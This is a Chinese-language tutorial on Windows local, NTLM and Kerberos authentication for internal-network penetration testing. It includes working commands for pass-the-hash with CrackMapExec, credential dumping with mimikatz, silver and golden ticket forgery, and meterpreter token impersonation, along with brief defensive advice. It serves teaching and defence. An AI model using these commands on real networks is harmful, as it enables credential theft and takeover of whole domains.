Windows 用户权限认证

Question

Windows 本地认证

本地认证基础

在本地登录 Windows 的情况下，操作系统会使用用户输入的密码作为凭证去与系统中的密码进行验证，但是操作系统中的密码存储在哪里呢？ 路径： %SystemRoot%\system32\config\sam 当我们登录系统的时候,系统会自动地读取 SAM 文件中的“密码”与我们输入的“密码”进行比对，如果相同，证明认证成功!

这个 SAM 文件中保留了计算机本地所有用户的凭证信息，可以理解为是一个数据库。

NTLM(NT LAN Manager) Hash

NTLM Hash 是支持 Net NTLM 认证协议及本地认证过程中的一个重要参与物，其长度为 32 位，由数字与字母组成。 Windows 本身不存储用户的明文密码，它会将用户的明文密码经过加密算法后存储在 SAM 数据库中。 当用户登录时,将用户输入的明文密码也加密成 NTLM Hash,与 SAM 数据库中的 NTLM Hash 进行比较。NTLM Hash 的前身是 LM Hash，目前基本淘汰，但是还是存在。

NTLM Hash——产生

admin => 209c6174da490caeb422f3fa5a7ae634

1. admin -> hex(16 进制编码) = 61646d69e
2. 61646d69e -> unicode = 610064006d0069006e00
3. 610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

本地认证流程

• Windows Logon Process(即 winlogon.exe 是 Windows NT 用户登陆程序，用于管理用户登录和退出。
• LSASS 是微软 Windows 系统的安全机制。用于本地安全和登陆策略。

LM Hash

• 将所有小写字母转换为大写字母
• 123ABC //未达到 7 个字符
• 将密码转化为 16 进制，分两组，填充为 14 个字符，空余位使用 0x00 字符填补
• 31323341424300000000000000 将密码分割为两组 7 个字节的块
• 31323341424300 000000000000 //16 进制
• 将每组转化为比特流,不足 56Bit 则在左边加 0
• 31323341424300 -> (转换为二进制)
  • 11000100110010001100110100001010000100100001100000000->(补足 56Bit)
  • 00110001001100100011001101000001010000100100001100000000
• 将比特流按照 7 比特一组，分出 8 组，末尾加 0

由于后者都为 0，结果可想而知，那就都是 0;

• 将每组比特流转换为 16 进制作为被加密的值，使用 DES 加密，字符串 KGS!@#$% 为 Key(0x4B47532140232425)，得到 8 个结果，每个结果转换为 16 进制。
• -> 00110000100110001000110001101000000101000001001000001100 00000000
• ->30988C6814120C00 -> DES(30988C6814120C00) -> 48-D7-EB-91- 2F-5E-69-7C
• 由于我们的密码不超过 7 字节，所以后面的一半是固定的:
• AA-D3-B4-35-B5-14-04-EE
• 连接两个 DES 加密字符串。这是 LM 哈希。
• 48-D7-EB-91-2F-5E-69-7C-AA-D3-B4-35-B5-14-04-EE

Windows 网络认证

在内网渗透中，经常遇到工作组环境，而工作组环境是一个逻辑上的网络环境（工作区)，隶属于工作组的机器之间无法互相建立一个完美的信任机制，只能点对点，是比较落后的认证方式，没有信托机构。

假设 A 主机与 B 主机属于同一个工作组环境，A 想访问 B 主机上的资料，需要将一个存在于 B 主机上的账户凭证发送至 B 主机，经过认证才能够访问 B 主机上的资源。

这是我们接触比较多的 SMB 共享文件的案例，SMB 的默认端口是 445。

早期 SMB 协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制，简称 LM，它是如此简单以至很容易就被破解，现在又有了 NTLM v2 以及 Kerberos。

Challenge/Response

第一步：协商

• 客户端主要在这一步向服务器确认协议的版本，是 v1 还是 v2。不止者一点点

第二步：质询完整过程：

1. 客户端向服务器端发送用户信息（用户名) 请求
2. 服务器接受到请求，生成一个 16 位的随机数，被称之为“Challenge”， 使用登录用户名对应的 NTLM Hash 加密 Challenge (16 位随机字符)，生成 Challenge1。同时，生成 Challenge1 后，将 Challenge (16 位随机字符) 发送给客户端。 //Net NTLM Hash = NTLM Hash(Challenge)
3. 客户端接受到 Challenge 后，使用将要登录到账户对应的 NTLM Hash 加密 Challenge 生成 Response，然后将 Response 发送至服务器端。

第三步：验证

• 服务器端收到客户端的 Response 后，比对 Chanllenge1 与 Response 是否相等，若相等，则认证通过。

使用另外一种方式解读：

1. Server 接收到 Client 发送的用户名后，判断本地账户列表是否有用户名 share_user，
   • 如果没有，返回认证失败；
   • 如果有，生成 Chanllenge，并且从本地查找 share_user 对应的 NTLM Hash，使用 NTLM Hash 加密 Chanllenge，生成一个 Net-NTLM Hash 存在内存中，并将 Chanllenge 发送给 Client。
2. Client 接收到 Chanllenge 后，将自己提供的 share_user 的密码转换为 NTLM Hash，使用 NTLM Hash 加密 Chanllenge，这个结果叫 Response，表现形式是 Net-NTLM Hash，最后将 Response 发送给 Server。
3. Server 接收到 Client 发送的 Response，将 Response 与之前的 Net-NTLM Hash 进行比较，如果相等，则认证通过。

注意:

1. Chanllenge 是 Server 产生的一个 16 字节的随机数，每次认证都不同
2. Response 的表现形式是 Net-NTLM Hash，它是由客户端提供的密码 Hash 加密 Server 返回的 Chanllenge 产生的结果。

NTLM v2

NTLM v1 与 NTLM v2 最显著的区别就是 Challenge 与加密算法不同，共同点就是加密的原料都是 NTLM Hash。

下面细说一下有什么不同: Challenge：NTLM v1 的 Challenge 有 8 位，NTLM v2 的 Challenge 为 16 位 Net-NTLM Hash：NTLM v1 的主要加密算法是 DES ，NTLM v2 的主要加密算法是 HMAC-MD5 。 //Responder、smbexec

Pass The Hash

在内网渗透中，我们经常会需要抓取管理员的密码、NTLM Hash，通过搜集这些信息有助于我们扩大战果， 尤其是在域环境下 。

• 什么是哈希传递? 哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术。

• 哈希传递的作用? 解决了我们渗透中获取不到明文密码、破解不了 NTLM Hash 而又想扩大战果的问题。

必要条件

• 哈希传递需要被认证的主机能够访问到服务器
• 哈希传递需要被传递认证的用户名
• 哈希传递需要被传递认证用户的 NTLM Hash

原理分析

要完成一个 NTLM 认证，第一步需要客户端将自己要参与认证的用户名发送至服务器端，等待服务器端给出的 Challenge 其实哈希传递就是使用用户名对应的 NTLM Hash 将服务器给出的 Chanllenge 加密，生成一个 Response，来完成认证。 Pass The Hash 能够完成一个不需要输入密码的 NTLM 协议认证流程，所以不算是一个漏洞，算是一个技巧。

Pass The Hash 的工具： Smbmap

CrackMapExec

Smbexec

Metasploit

使用 CrackMapExec 实现 Hash 传递：

root@kali:~/cache# cme smb 192.168.3.5 -u administrator -H dab7de8feeb5ecac65faf9fdc6cac3a9 -x whoami
SMB 192.168.3.5 445 LIYINGZHEA30B
[*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:LIYINGZHEA30B)
(domain:PAYLOADS) (signing:False) (SMBv1:True)
SMB 192.168.3.5 445 LIYINGZHEA30B
[+] PAYLOADS\administrator dab7de8feeb5ecac65faf9fdc6cac3a9
(Pwn3d!)SMB 192.168.3.5 445 LIYINGZHEA30B [+] Executed command

Kerberos 域认证

Active Directory(活动目录) 的概念

Windows 提供了为企业管理资产、服务、网络对象进行组织化的管理，这非常符合企业架构的管理模式。而承载这些管理机制的就是活动目录服务。如果要搭建一个域，就需要安装活动目录服务。

活动目录服务以域名来划分域的边界，域外就不属于管理范围了，也就是说，一个域对应一个域名，域之间也可以相互信任。

Active Directory 存储了有关 网络对象 的信息，并且让管理员和用户能够轻松地查找和使用这些信息。Active Directory 使用了一种 结构化的数据存储方式，并以此作为基础对目录信息进行合乎 逻辑的分层组织 。

网络对象分为 :用户、用户组、计算机、域、组织单位以及安全策略等。

Active Directory(活动目录) 的概念

• 服务器及客户端计算机管理 :管理服务器及客户端计算机账户， 所有服务器及客户端计算机加入域管理并实施组策略。
• 用户服务 :管理用户域账户、用户信息、企业通讯录（与电子邮件系统集成)、用户组管理、用户身份认证、用户授权管理等，按省实施组管理策略。
• 资源管理 :管理打印机、文件共享服务等网络资源。
• 桌面配置 :系统管理员可以集中的配置各种桌面配置策略，如: 用户使用域中资源权限限制、界面功能的限制、应用程序执行特征限制、网络连接限制、安全配置限制等。
• 应用系统支撑 :支持财务、人事、电子邮件、企业信息门户、办公自动化、补丁管理、防病毒系统等各种应用系统。

在域中，网络对象可以相互访问，但是在真实情况中，需要对某些部门的计算机进行限制，例如：销售部门不能访问技术部门的服务器。

这个中间就需要 Kerberos 认证协议来验证网络对象间的权限。

域认证体系 - Kerberoes

Kerberos 是一种网络认证协议 ，其设计目标是通过 密钥系统 为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全， 并假定网络上传送的数据包可以被任意地读取、修改和插入数据 。在以上情况下，Kerberos 作为一种可信任的第三方认证服务，是通过传统的密码技术（如:共享密钥) 执行认证服务的。

域认证所参与的角色

Kerberos 的标志是三只狗头，狗头分别代表以下角色：

• Client
• Server
• KDC(Key Distribution Center) = DC(Domain Controller)

域认证所参与的角色

• AD(Account database): 存储所有 client 的白名单，只有存在于白名单的 client 才能 顺利申请到 TGT
• Authentication Service: 为 client 生成 TGT 的服务
• Ticket Granting Service: 为 client 生成某个服务的 ticket

从物理层面看，AD 与 KDC 均为域控制器(Domain Controller)。

域认证粗略流程

1. client 向 kerberos 服务请求，希望获取访问 server 的权限。 kerberos 得到了这个消息，首先得判断 client 是否是可信赖的，也就是白名单黑名单的说法。这就是 AS 服务完成的工作，通过在 AD 中存储黑名单和白名单来区分 client。成功后，返回 AS 返回 TGT 给 client。
2. client 得到了 TGT 后，继续向 kerberos 请求，希望获取访问 server 的权限。 kerberos 又得到了这个消息，这时候通过 client 消息中的 TGT，判断出了 client 拥有了这个权限，给了 client 访问 server 的权限 ticket。
3. client 得到 ticket 后，终于可以成功访问 server。这个 ticket 只是针对这个 server，其他 server 需要向 TGS 申请。

第一步 Session Key 与 Ticket Granting Ticket

第二步 Session Key 与 Ticket Granting Ticket

第三步 Server Session Key 与 Ticket

白银票据

白银票据的特点：

1. 不需要与 KDC 进行交互
2. 需要目标服务的 NTLM Hash

在第三步认证中的 Ticket 的组成： Ticket = Server Hash(Server Session Key + Client info + End Time)

当拥有 Server Hash 时，我们就可以伪造一个不经过 KDC 认证的一个 Ticket。

PS：Server Session Key 在未发送 Ticket 之前，服务器是不知道 Server Session Key 是什么的。 所以，一切凭据都来源于 Server Hash。

伪造白银票据

首先需要导出 Server Hash：

C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

伪造票据:

mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

Other：

• kerberos::list #列出票据
• kerberos::purge # 清除票据

由于白银票据需要目标服务器的 Hash，所以没办法生成对应域内所有服务器的票据，也不能通过 TGT 申请。因此只能针对服务器上的某些服务去伪造，伪造的服务类型列表如下:

服务注释	服务名
WMI	HOST、RPCSS
Powershell Remoteing	HOST、HTTP
WinRM	HOST、HTTP
Scheduled Tasks	HOST
LDAP 、DCSync	LDAP
Windows File Share (CIFS)	CIFS
Windows Remote ServerAdministration Tools	RPCSS、LDAP、CIFS

白银票据(Silver Tickets) 防御

1. 尽量保证服务器凭证不被窃取
2. 开启 PAC (Privileged Attribute Certificate) 特权属性证书保护 功能，PAC 主要是规定服务器将票据发送给 kerberos 服务，由 kerberos 服务验证票据是否有效。 开启方式: 将注册表中 HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters 中的 ValidateKdcPacSignature 设置为 1

黄金票据(Golden Tickets)

黄金票据特点:

1. 需要与 DC 通信
2. 需要 krbtgt 用户的 hash PS:这里的 krbtgt hash 就是之前讲的 KDC Hash

注意 :这里的 krbtgt hash 就是之前讲的 KDC Hash

黄金票据(Golden Tickets)-MSF kiwi

使用 meterpreter 中的 kiwi 模块： load kiwi

黄金票据(Golden Tickets) - 伪造

伪造票据:

mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

Tickets 总结

• 黄金票据:从攻击面来看，获取 krbtgt 用户的 hash 后，可以在域中 进行持久性的隐藏，并且日志无法溯源，但是需要拿到 DC 权限， 使用黄金票据能够在一个域环境中长时间控制整个域。
• 从防御角度来看，需要经常更新 krbtgt 的密码，才能够使得原有的 票据失效。最根本的办法是不允许域管账户登录其他服务器。
• 白银票据:从攻击面来看，伪造白银票据的难度比伪造黄金票据的 难度较小，因为一个域中的服务器如果对外的话，非常容易被入侵， 并且容易被转储 Server。
• 从防御角度来看，需要开启 PAC 认证，但这会降低认证效率，增加 DC 的负担，最根本的还是要加固服务器本身对外的服务。

Windows Access Token

Windows Access Token 简介

Windows Token 其实叫 Access Token(访问令牌)，它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后，都会生成一个 Access Token，这个 Token 在用户创建进程或者线程 时会被使用，不断的拷贝，这也就解释了 A 用户创建一个进程而该进程没有 B 用户的权限。

Access Token 种类：

• 主令牌
• 模拟令牌

一般情况下，用户双击运行一个程序，都会拷贝“explorer.exe”的 Access Token。 当用户注销后，系统将会使主令牌切换为模拟令牌，不会将令牌清除，只有在重启机器后才会清除。

Access Token 的组成

• 用户帐户的安全标识符(SID)
• 用户所属的组的 SID
• 用于标识当前登录会话的登录 SID
• 用户或用户组所拥有的权限列表
• 所有者 SID
• 主要组的 SID
• 访问控制列表
• 访问令牌的来源
• 令牌是主要令牌还是模拟令牌
• 限制 SID 的可选列表
• 目前的模拟等级
• 其他统计数据

Windows Access Token – SID (Security Identifiers) 安全标识符

安全标识符是一个唯一的字符串，它可以代表一个账户、一个用户 组、或者是一次登录。通常它还有一个 SID 固定列表，例如 Everyone 这种已经内置的账户，默认拥有固定的 SID。

SID 的表现形式:

• 域 SID-用户 ID
• 计算机 SID-用户 ID
• SID 列表都会存储在域控的 AD 或者计算机本地账户数据库中。

Windows Access Token 产生过程

每个进程创建时都会根据登录会话权限由 LSA(Local Security Authority) 分配一个 Token(如果 CreaetProcess 时自己指定了 Token, LSA 会用该 Token， 否则就用父进程 Token 的一份拷贝。

Windows Access Token 令牌假冒实战

当用户注销后，系统将会使主令牌切换为模拟令牌，不会将令牌清除，只有在重启机器后才会清除。 可以使用多种工具查看目前系统上存在的模拟令牌:

• Incognito
• Powershell - Invoke-TokenManipulation.ps1
• Cobalt Strike - steal_token

案例（针对某跨国企业的一次渗透测试 获取 DC 权限）: http://blog.360ec.net/archives/32/

meterpreter > getsystem
meterpreter > load incognito meterpreter > list_tokens –u
Delegation Tokens Available ============================== NT AUTHORITY\LOCAL SERVICENT AUTHORITY\NETWORK SERVICENT AUTHORITY\SYSTEM PAYLOADS\Administrator PAYLOADS\w7
meterpreter > impersonate_token "PAYLOADS\\Administrator”
[+] Delegation token available
[+] Successfully impersonated user PAYLOADS\Administrator

Windows Access Token 令牌假冒防御

禁止 Domain Admins 登录对外且未做安全加固的服务器，因为一旦服务器被入侵，域管理员的令牌可能会被攻击者假冒，从控制 DC。

如果想清除假冒，重启服务器即可。